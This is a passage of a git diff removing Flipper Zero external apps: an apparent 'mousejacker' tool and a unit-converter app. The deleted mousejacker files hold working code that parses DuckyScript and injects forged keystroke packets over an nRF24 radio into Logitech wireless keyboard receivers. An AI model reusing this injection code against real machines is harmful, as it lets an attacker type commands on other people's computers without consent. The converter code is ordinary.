60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0}, - {"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0}, - {"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0}, - {"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0}, - {"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0}, - {"LEFT", 80, 0}, {"NUM 1", 89, 0}, {"NUM 2", 90, 0}, - {"NUM 3", 91, 0}, {"NUM 4", 92, 0}, {"NUM 5", 93, 0}, - {"NUM 6", 94, 0}, {"NUM 7", 95, 0}, {"NUM 8", 96, 0}, - {"NUM 9", 97, 0}, {"NUM 0", 98, 0}}; - -/* -static bool mj_ducky_get_number(const char* param, uint32_t* val) { - uint32_t value = 0; - if(sscanf(param, "%lu", &value) == 1) { - *val = value; - return true; - } - return false; -} -*/ - -static uint32_t mj_ducky_get_command_len(const char* line) { - uint32_t len = strlen(line); - for(uint32_t i = 0; i < len; i++) { - if(line[i] == ' ') return i; - } - return 0; -} - -static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) { - //FURI_LOG_D(TAG, "looking up key %s with length %d", key, keylen); - for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) { - if(strlen(mj_ducky_keys[i].name) == keylen && - !strncmp(mj_ducky_keys[i].name, key, keylen)) { - memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey)); - return true; - } - } - - return false; -} - -static void checksum(uint8_t* payload, uint len) { - // This is also from the KeyKeriki paper - // Thanks Thorsten and Max! - uint8_t cksum = 0xff; - for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff; - cksum = (cksum + 1) & 0xff; - payload[len - 1] = cksum; -} - -static void inject_packet( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - uint8_t* payload, - size_t payload_size, - PluginState* plugin_state) { - uint8_t rt_count = 0; - while(1) { - if(!plugin_state->is_thread_running || plugin_state->close_thread_please) { - return; - } - if(nrf24_txpacket(handle, payload, payload_size, true)) { - break; - } - - rt_count++; - // retransmit threshold exceeded, scan for new channel - if(rt_count > RT_THRESHOLD) { - if(nrf24_find_channel( - handle, - addr, - addr, - addr_size, - rate, - LOGITECH_MIN_CHANNEL, - LOGITECH_MAX_CHANNEL, - true) > LOGITECH_MAX_CHANNEL) { - return; // fail - } - //FURI_LOG_D("mj", "find channel passed, %d", tessst); - - rt_count = 0; - } - } -} - -static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) { - memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE); - payload[2] = mod; - payload[3] = hid; - checksum(payload, LOGITECH_HID_TEMPLATE_SIZE); -} - -static void release_key( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - PluginState* plugin_state) { - // This function release keys currently pressed, but keep pressing special keys - // if holding mod keys variable are set to true - - uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; - build_hid_packet( - 0 | holding_ctrl | holding_shift << 1 | holding_alt << 2 | holding_gui << 3, - 0, - hid_payload); - inject_packet( - handle, - addr, - addr_size, - rate, - hid_payload, - LOGITECH_HID_TEMPLATE_SIZE, - plugin_state); // empty hid packet -} - -static void send_hid_packet( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - uint8_t mod, - uint8_t hid, - PluginState* plugin_state) { - uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; - if(hid == prev_hid) release_key(handle, addr, addr_size, rate, plugin_state); - - prev_hid = hid; - build_hid_packet( - mod | holding_ctrl | holding_shift << 1 | holding_alt << 2 | holding_gui << 3, - hid, - hid_payload); - inject_packet( - handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE, plugin_state); - furi_delay_ms(12); -} - -static bool ducky_end_line(const char chr) { - return ((chr == ' ') || (chr == '\0') || (chr == '\r') || (chr == '\n')); -} - -// returns false if there was an error processing script line -static bool mj_process_ducky_line( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - char* line, - char* prev_line, - PluginState* plugin_state) { - MJDuckyKey dk; - uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; - char* line_tmp = line; - uint32_t line_len = strlen(line); - if(!plugin_state->is_thread_running || plugin_state->close_thread_please) { - return true; - } - for(uint32_t i = 0; i < line_len; i++) { - if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) { - line_tmp = &line_tmp[i]; - break; // Skip spaces and tabs - } - if(i == line_len - 1) return true; // Skip empty lines - } - - FURI_LOG_D(TAG, "line: %s", line_tmp); - - // General commands - if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) { - // REM - comment line - return true; - } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) { - // DELAY - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - uint32_t delay_val = 0; - delay_val = atoi(line_tmp); - if(delay_val > 0) { - uint32_t delay_count = delay_val / 10; - build_hid_packet(0, 0, hid_payload); - inject_packet( - handle, - addr, - addr_size, - rate, - hid_payload, - LOGITECH_HID_TEMPLATE_SIZE, - plugin_state); // empty hid packet - for(uint32_t i = 0; i < delay_count; i++) { - if(!plugin_state->is_thread_running || plugin_state->close_thread_please) { - return true; - } - inject_packet( - handle, - addr, - addr_size, - rate, - LOGITECH_KEEPALIVE, - LOGITECH_KEEPALIVE_SIZE, - plugin_state); - furi_delay_ms(10); - } - return true; - } - return false; - } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) { - // STRING - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - for(size_t i = 0; i < strlen(line_tmp); i++) { - if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false; - - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - } - - return true; - } else if(strncmp(line_tmp, ducky_cmd_altstring, strlen(ducky_cmd_altstring)) == 0) { - // ALTSTRING - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - for(size_t i = 0; i < strlen(line_tmp); i++) { - if((line_tmp[i] < ' ') || (line_tmp[i] > '~')) { - continue; // Skip non-printable chars - } - - char alt_code[4]; - // Getting altcode of the char - snprintf(alt_code, 4, "%u", line_tmp[i]); - - uint8_t j = 0; - while(!ducky_end_line(alt_code[j])) { - char pad_num[5] = {'N', 'U', 'M', ' ', alt_code[j]}; - if(!mj_get_ducky_key(pad_num, 5, &dk)) return false; - holding_alt = true; - FURI_LOG_D(TAG, "Sending %s", pad_num); - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - j++; - } - holding_alt = false; - release_key(handle, addr, addr_size, rate, plugin_state); - } - - return true; - } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) { - // REPEAT - uint32_t repeat_cnt = 0; - if(prev_line == NULL) return false; - - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - repeat_cnt = atoi(line_tmp); - if(repeat_cnt < 2) return false; - - FURI_LOG_D(TAG, "repeating %s %ld times", prev_line, repeat_cnt); - for(uint32_t i = 0; i < repeat_cnt; i++) - mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL, plugin_state); - - return true; - } else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_alt = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_alt = false; - return true; - } else if( - strncmp(line_tmp, "GUI", strlen("GUI")) == 0 || - strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 || - strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_gui = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_gui = false; - return true; - } else if( - strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 || - strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_ctrl = true; - holding_alt = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_ctrl = false; - holding_alt = false; - return true; - } else if( - strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 || - strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_ctrl = true; - holding_shift = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_ctrl = false; - holding_shift = false; - return true; - } else if( - strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 || - strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_ctrl = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_ctrl = false; - return true; - } else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) { - line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1]; - if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false; - holding_shift = true; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - holding_shift = false; - return true; - } else if( - strncmp(line_tmp, "ESC", strlen("ESC")) == 0 || - strncmp(line_tmp, "APP", strlen("APP")) == 0 || - strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) { - if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) { - if(!mj_get_ducky_key("ENTER", 5, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if( - strncmp(line_tmp, "UP", strlen("UP")) == 0 || - strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) { - if(!mj_get_ducky_key("UP", 2, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if( - strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 || - strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) { - if(!mj_get_ducky_key("DOWN", 4, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if( - strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 || - strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) { - if(!mj_get_ducky_key("LEFT", 4, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if( - strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 || - strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) { - if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) { - if(!mj_get_ducky_key("SPACE", 5, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } else if(strncmp(line_tmp, "TAB", strlen("TAB")) == 0) { - if(!mj_get_ducky_key("TAB", 3, &dk)) return false; - send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state); - return true; - } - - return false; -} - -void mj_process_ducky_script( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - char* script, - PluginState* plugin_state) { - uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0}; - char* prev_line = NULL; - - inject_packet( - handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE, plugin_state); - char* line = strtok(script, "\n"); - while(line != NULL) { - if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0; - - if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line, plugin_state)) - FURI_LOG_D(TAG, "unable to process ducky script line: %s", line); - - prev_line = line; - line = strtok(NULL, "\n"); - } - build_hid_packet(0, 0, hid_payload); - inject_packet( - handle, - addr, - addr_size, - rate, - hid_payload, - LOGITECH_HID_TEMPLATE_SIZE, - plugin_state); // empty hid packet at end -} \ No newline at end of file diff --git a/applications/external/mousejacker/mousejacker_ducky.h b/applications/external/mousejacker/mousejacker_ducky.h deleted file mode 100644 index 01dc32c30..000000000 --- a/applications/external/mousejacker/mousejacker_ducky.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct { - char* name; - uint8_t hid; - uint8_t mod; -} MJDuckyKey; - -typedef struct { - FuriMutex* mutex; - bool ducky_err; - bool addr_err; - bool is_thread_running; - bool is_ducky_running; - bool is_nrf24_connected; - bool close_thread_please; - Storage* storage; - FuriThread* mjthread; - Stream* file_stream; -} PluginState; - -void mj_process_ducky_script( - FuriHalSpiBusHandle* handle, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - char* script, - PluginState* plugin_state); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/multi_converter/application.fam b/applications/external/multi_converter/application.fam deleted file mode 100644 index 3a8a488b4..000000000 --- a/applications/external/multi_converter/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="multi_converter", - name="Multi Converter", - apptype=FlipperAppType.EXTERNAL, - entry_point="multi_converter_app", - requires=["gui"], - stack_size=1 * 1024, - order=19, - fap_icon="converter_10px.png", - fap_category="Tools", - fap_author="@theisolinearchip", - fap_version="1.0", - fap_description="A multi-unit converter written with an easy and expandable system for adding new units and conversion methods", -) diff --git a/applications/external/multi_converter/converter_10px.png b/applications/external/multi_converter/converter_10px.png deleted file mode 100644 index 820b10639..000000000 Binary files a/applications/external/multi_converter/converter_10px.png and /dev/null differ diff --git a/applications/external/multi_converter/multi_converter.c b/applications/external/multi_converter/multi_converter.c deleted file mode 100644 index bd2b62587..000000000 --- a/applications/external/multi_converter/multi_converter.c +++ /dev/null @@ -1,164 +0,0 @@ -#include -#include -#include -#include - -#include "multi_converter_definitions.h" -#include "multi_converter_mode_display.h" -#include "multi_converter_mode_select.h" - -static void multi_converter_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const MultiConverterState* multi_converter_state = ctx; - furi_mutex_acquire(multi_converter_state->mutex, FuriWaitForever); - - if(multi_converter_state->mode == ModeDisplay) { - multi_converter_mode_display_draw(canvas, multi_converter_state); - } else { - multi_converter_mode_select_draw(canvas, multi_converter_state); - } - - furi_mutex_release(multi_converter_state->mutex); -} - -static void - multi_converter_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - MultiConverterEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void multi_converter_init(MultiConverterState* const multi_converter_state) { - // initial default values - - multi_converter_state->buffer_orig[MULTI_CONVERTER_NUMBER_DIGITS] = '\0'; - multi_converter_state->buffer_dest[MULTI_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminators - - multi_converter_state->unit_type_orig = UnitTypeDec; - multi_converter_state->unit_type_dest = UnitTypeHex; - - multi_converter_state->keyboard_lock = 0; - - // init the display view - multi_converter_mode_display_reset(multi_converter_state); - - // init the select view - multi_converter_mode_select_reset(multi_converter_state); - - // set ModeDisplay as the current mode - multi_converter_state->mode = ModeDisplay; -} - -// main entry point -int32_t multi_converter_app(void* p) { - UNUSED(p); - - // get event queue - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(MultiConverterEvent)); - - // allocate state - MultiConverterState* multi_converter_state = malloc(sizeof(MultiConverterState)); - - // set mutex for plugin state (different threads can access it) - multi_converter_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!multi_converter_state->mutex) { - FURI_LOG_E("MultiConverter", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(multi_converter_state); - return 255; - } - - // register callbacks for drawing and input processing - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, multi_converter_render_callback, multi_converter_state); - view_port_input_callback_set(view_port, multi_converter_input_callback, event_queue); - - // open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - multi_converter_init(multi_converter_state); - - // main loop - MultiConverterEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(multi_converter_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey && !multi_converter_state->keyboard_lock) { - if(multi_converter_state->mode == ModeDisplay) { - if(event.input.key == InputKeyBack) { - if(event.input.type == InputTypePress) processing = false; - } else if(event.input.key == InputKeyOk) { // the "ok" press can be short or long - MultiConverterModeTrigger t = None; - - if(event.input.type == InputTypeLong) - t = multi_converter_mode_display_ok(1, multi_converter_state); - else if(event.input.type == InputTypeShort) - t = multi_converter_mode_display_ok(0, multi_converter_state); - - if(t == Reset) { - multi_converter_mode_select_reset(multi_converter_state); - multi_converter_state->mode = ModeSelector; - } - } else { - if(event.input.type == InputTypePress) - multi_converter_mode_display_navigation( - event.input.key, multi_converter_state); - } - - } else { // ModeSelect - if(event.input.type == InputTypePress) { - switch(event.input.key) { - default: - break; - case InputKeyBack: - case InputKeyOk: { - MultiConverterModeTrigger t = multi_converter_mode_select_exit( - event.input.key == InputKeyOk ? 1 : 0, multi_converter_state); - - if(t == Reset) { - multi_converter_mode_display_reset(multi_converter_state); - } else if(t == Convert) { - multi_converter_mode_display_convert(multi_converter_state); - } - - multi_converter_state->keyboard_lock = 1; - multi_converter_state->mode = ModeDisplay; - break; - } - case InputKeyLeft: - case InputKeyRight: - multi_converter_mode_select_switch(multi_converter_state); - break; - case InputKeyUp: - multi_converter_mode_select_change_unit(-1, multi_converter_state); - break; - case InputKeyDown: - multi_converter_mode_select_change_unit(1, multi_converter_state); - break; - } - } - } - } else if(multi_converter_state->keyboard_lock) { - multi_converter_state->keyboard_lock = 0; - } - } - - view_port_update(view_port); - furi_mutex_release(multi_converter_state->mutex); - } - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(multi_converter_state->mutex); - free(multi_converter_state); - - return 0; -} \ No newline at end of file diff --git a/applications/external/multi_converter/multi_converter_definitions.h b/applications/external/multi_converter/multi_converter_definitions.h deleted file mode 100644 index 2f79bc7d9..000000000 --- a/applications/external/multi_converter/multi_converter_definitions.h +++ /dev/null @@ -1,83 +0,0 @@ -#pragma once - -#define MULTI_CONVERTER_NUMBER_DIGITS 9 - -typedef enum { - EventTypeKey, -} EventType; - -typedef struct { - InputEvent input; - EventType type; -} MultiConverterEvent; - -typedef enum { - ModeDisplay, - ModeSelector, -} MultiConverterMode; - -typedef enum { - None, - Reset, - Convert, -} MultiConverterModeTrigger; - -// new units goes here, used as index to the main multi_converter_available_units array (multi_converter_units.h) -typedef enum { - UnitTypeDec, - UnitTypeHex, - UnitTypeBin, - - UnitTypeCelsius, - UnitTypeFahernheit, - UnitTypeKelvin, - - UnitTypeKilometers, - UnitTypeMeters, - UnitTypeCentimeters, - UnitTypeMiles, - UnitTypeFeet, - UnitTypeInches, - - UnitTypeDegree, - UnitTypeRadian, -} MultiConverterUnitType; - -typedef struct { - MultiConverterUnitType selected_unit_type_orig; - MultiConverterUnitType selected_unit_type_dest; - uint8_t select_orig; -} MultiConverterModeSelect; - -typedef struct { - uint8_t cursor; // cursor position when typing - int8_t key; // hover key - uint8_t comma; // comma already added? (only one comma allowed) - uint8_t negative; // is negative? -} MultiConverterModeDisplay; - -typedef struct MultiConverterUnit MultiConverterUnit; -typedef struct MultiConverterState MultiConverterState; - -struct MultiConverterUnit { - uint8_t allow_comma; - uint8_t allow_negative; - uint8_t max_number_keys; - char mini_name[4]; - char name[12]; - void (*convert_function)(MultiConverterState* const); - uint8_t (*allowed_function)(MultiConverterUnitType); -}; - -struct MultiConverterState { - FuriMutex* mutex; - char buffer_orig[MULTI_CONVERTER_NUMBER_DIGITS + 1]; - char buffer_dest[MULTI_CONVERTER_NUMBER_DIGITS + 1]; - MultiConverterUnitType unit_type_orig; - MultiConverterUnitType unit_type_dest; - MultiConverterMode mode; - MultiConverterModeDisplay display; - MultiConverterModeSelect select; - uint8_t keyboard_lock; // used to create a small lock when switching from SELECT to DISPLAY modes - // (debouncing, basically; otherwise it switch modes twice 'cause it's too fast!) -}; diff --git a/applications/external/multi_converter/multi_converter_mode_display.c b/applications/external/multi_converter/multi_converter_mode_display.c deleted file mode 100644 index c72a954f7..000000000 --- a/applications/external/multi_converter/multi_converter_mode_display.c +++ /dev/null @@ -1,326 +0,0 @@ -#include "multi_converter_mode_display.h" - -#define MULTI_CONVERTER_DISPLAY_KEYS 18 // [0] to [F] + [BACK] + [SELECT] - -#define MULTI_CONVERTER_DISPLAY_KEY_NEGATIVE 0 // long press -#define MULTI_CONVERTER_DISPLAY_KEY_COMMA 1 // long press -#define MULTI_CONVERTER_DISPLAY_KEY_DEL 16 -#define MULTI_CONVERTER_DISPLAY_KEY_SELECT 17 - -#define MULTI_CONVERTER_DISPLAY_CHAR_COMMA '.' -#define MULTI_CONVERTER_DISPLAY_CHAR_NEGATIVE '-' -#define MULTI_CONVERTER_DISPLAY_CHAR_DEL '<' -#define MULTI_CONVERTER_DISPLAY_CHAR_SELECT '#' -#define MULTI_CONVERTER_DISPLAY_CHAR_BLANK ' ' - -#define MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN 3 -#define MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT 8 - -void multi_converter_mode_display_convert(MultiConverterState* const multi_converter_state) { - // 1.- if origin == destination (in theory user won't be allowed to choose the same options, but it's kinda "valid"...) - // just copy buffer_orig to buffer_dest and that's it - - if(multi_converter_state->unit_type_orig == multi_converter_state->unit_type_dest) { - memcpy( - multi_converter_state->buffer_dest, - multi_converter_state->buffer_orig, - MULTI_CONVERTER_NUMBER_DIGITS); - return; - } - - // 2.- origin_buffer has not null functions - if(multi_converter_get_unit(multi_converter_state->unit_type_orig).convert_function == NULL || - multi_converter_get_unit(multi_converter_state->unit_type_orig).allowed_function == NULL) - return; - - // 3.- valid destination type (using allowed_destinations function) - if(!multi_converter_get_unit(multi_converter_state->unit_type_orig) - .allowed_function(multi_converter_state->unit_type_dest)) - return; - - multi_converter_get_unit(multi_converter_state->unit_type_orig) - .convert_function(multi_converter_state); -} - -void multi_converter_mode_display_draw( - Canvas* const canvas, - const MultiConverterState* multi_converter_state) { - canvas_set_color(canvas, ColorBlack); - - // ORIGIN - canvas_set_font(canvas, FontPrimary); - canvas_draw_str( - canvas, 2, 10, multi_converter_get_unit(multi_converter_state->unit_type_orig).mini_name); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 2 + 30, 10, multi_converter_state->buffer_orig); - - // DESTINATION - canvas_set_font(canvas, FontPrimary); - canvas_draw_str( - canvas, - 2, - 10 + 12, - multi_converter_get_unit(multi_converter_state->unit_type_dest).mini_name); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 2 + 30, 10 + 12, multi_converter_state->buffer_dest); - - // SEPARATOR_LINE - canvas_draw_line(canvas, 2, 25, 128 - 3, 25); - - // KEYBOARD - uint8_t _x = 5; - uint8_t _y = 25 + 15; // line + 10 - - for(int i = 0; i < MULTI_CONVERTER_DISPLAY_KEYS; i++) { - char g; - if(i < 10) - g = (i + '0'); - else if(i < 16) - g = ((i - 10) + 'A'); - else if(i == MULTI_CONVERTER_DISPLAY_KEY_DEL) - g = MULTI_CONVERTER_DISPLAY_CHAR_DEL; - else - g = MULTI_CONVERTER_DISPLAY_CHAR_SELECT; - - uint8_t g_w = canvas_glyph_width(canvas, g); - - if(i < 16 && - i > multi_converter_get_unit(multi_converter_state->unit_type_orig).max_number_keys - - 1) { - // some units won't use the full [0] - [F] keyboard, in those situations just hide the char - // (won't be selectable anyway, so no worries here; this is just about drawing stuff) - g = MULTI_CONVERTER_DISPLAY_CHAR_BLANK; - } - - // currently hover key is highlighted - if((multi_converter_state->display).key == i) { - canvas_draw_box( - canvas, - _x - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN, - _y - (MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN), - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN + g_w + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN, - MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN * 2); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_draw_frame( - canvas, - _x - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN, - _y - (MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN), - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN + g_w + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN, - MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN * 2); - } - - // draw key - canvas_draw_glyph(canvas, _x, _y, g); - - // certain keys have long_press features, draw whatever they're using there too - if(i == MULTI_CONVERTER_DISPLAY_KEY_NEGATIVE) { - canvas_draw_box( - canvas, - _x + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN + g_w - 4, - _y + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN - 2, - 4, - 2); - } else if(i == MULTI_CONVERTER_DISPLAY_KEY_COMMA) { - canvas_draw_box( - canvas, - _x + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN + g_w - 2, - _y + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN - 2, - 2, - 2); - } - - // back to black - canvas_set_color(canvas, ColorBlack); - - if(i < 8) { - _x += g_w + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN * 2 + 2; - } else if(i == 8) { - _y += (MULTI_CONVERTER_DISPLAY_KEY_CHAR_HEIGHT + - MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN * 2) + - 3; - _x = 8; // some padding at the beginning on second line - } else { - _x += g_w + MULTI_CONVERTER_DISPLAY_KEY_FRAME_MARGIN * 2 + 1; - } - } -} - -void multi_converter_mode_display_navigation( - InputKey key, - MultiConverterState* const multi_converter_state) { - // first move to keyboard position, then check if the ORIGIN allows that specific key, if not jump to the "closest one" - switch(key) { - default: - break; - - case InputKeyUp: - case InputKeyDown: - if((multi_converter_state->display).key >= 9) - (multi_converter_state->display).key -= 9; - else - (multi_converter_state->display).key += 9; - break; - - case InputKeyLeft: - case InputKeyRight: - - (multi_converter_state->display).key += (key == InputKeyLeft ? -1 : 1); - - if((multi_converter_state->display).key > MULTI_CONVERTER_DISPLAY_KEYS - 1) - (multi_converter_state->display).key = 0; - else if((multi_converter_state->display).key < 0) - (multi_converter_state->display).key = MULTI_CONVERTER_DISPLAY_KEYS - 1; - break; - } - - // if destination key is disabled by max_number_keys, move to the closest one - // (this could be improved with more accurate keys movements, probably...) - if(multi_converter_get_unit(multi_converter_state->unit_type_orig).max_number_keys >= 16) - return; // weird, since this means "do not show any number on the keyboard, but just in case..." - - int8_t i = -1; - if(key == InputKeyRight || key == InputKeyDown) i = 1; - - while((multi_converter_state->display).key < 16 && - (multi_converter_state->display).key > - multi_converter_get_unit(multi_converter_state->unit_type_orig).max_number_keys - - 1) { - (multi_converter_state->display).key += i; - if((multi_converter_state->display).key > MULTI_CONVERTER_DISPLAY_KEYS - 1) - (multi_converter_state->display).key = 0; - else if((multi_converter_state->display).key < 0) - (multi_converter_state->display).key = MULTI_CONVERTER_DISPLAY_KEYS - 1; - } -} - -void multi_converter_mode_display_reset(MultiConverterState* const multi_converter_state) { - // clean the buffers - for(int i = 0; i < MULTI_CONVERTER_NUMBER_DIGITS; i++) { - multi_converter_state->buffer_orig[i] = MULTI_CONVERTER_DISPLAY_CHAR_BLANK; - multi_converter_state->buffer_dest[i] = MULTI_CONVERTER_DISPLAY_CHAR_BLANK; - } - - // reset the display flags and index - multi_converter_state->display.cursor = 0; - 